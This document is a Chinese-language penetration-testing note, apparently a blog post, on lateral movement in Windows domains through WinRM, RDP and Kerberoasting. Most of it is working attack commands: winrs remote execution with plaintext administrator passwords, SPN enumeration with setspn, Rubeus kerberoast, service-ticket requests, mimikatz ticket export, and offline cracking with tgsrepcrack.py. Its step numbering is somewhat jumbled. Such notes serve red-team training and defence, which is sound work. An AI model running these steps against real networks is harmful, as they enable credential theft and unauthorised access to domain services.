横向移动RDP-Kerberos-WinRM

WinRM

WinRM代表Windows远程管理，是一种允许管理员远程执行系统管理任务的服务。
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
移动条件：双方都启用的Winrm rs的服务！
使用此服务需要管理员级别凭据。
Windows 2008 以上版本默认自动状态，Windows Vista/win7上必须手动启动；
Windows 2012之后的版本默认允许远程任意主机来管理。

探针

cs 内置端口扫描5985

powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

连接执行：

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

RDP

cs 内置端口扫描3389

或者：

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号

开代理，本机连接

Kerberos

Kerberoasting 攻击的利用：
•SPN服务发现
•请求服务票据
•服务票据的导出
•服务票据的暴力破解
https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html
如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证（TGT）去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN，并使用与SPN关联的服务帐户加密票证，以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5，这意味着服务帐户的NTLM密码哈希用于加密服务票证。
黑客将收到的TGS票据离线进行破解，即可得到目标服务帐号的HASH，这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN，那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。
Kerberos攻击条件：
采用rc4加密类型票据，工具Rubeus检测或看票据加密类型

扫描
powershell setspn -T 0day.org -q */*

powershell setspn -T 0day.org -q */* | findstr "MSSQL"

请求

2.检测：
Rubeus kerberoast

![](https://img2022.cnblogs.com/blog/2825654/202210/2825654-20221007155217399-1734124739.png)


3.请求：（要产生票据文件）
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

![](https://img2022.cnblogs.com/blog/2825654/202210/2825654-20221007155325022-1702494892.png)


mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

4.导出：
mimikatz kerberos::list /export
5.破解：
python tgsrepcrack.py pass.txt "1-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"
5.重写：

https://www.freebuf.com/articles/system/174967.html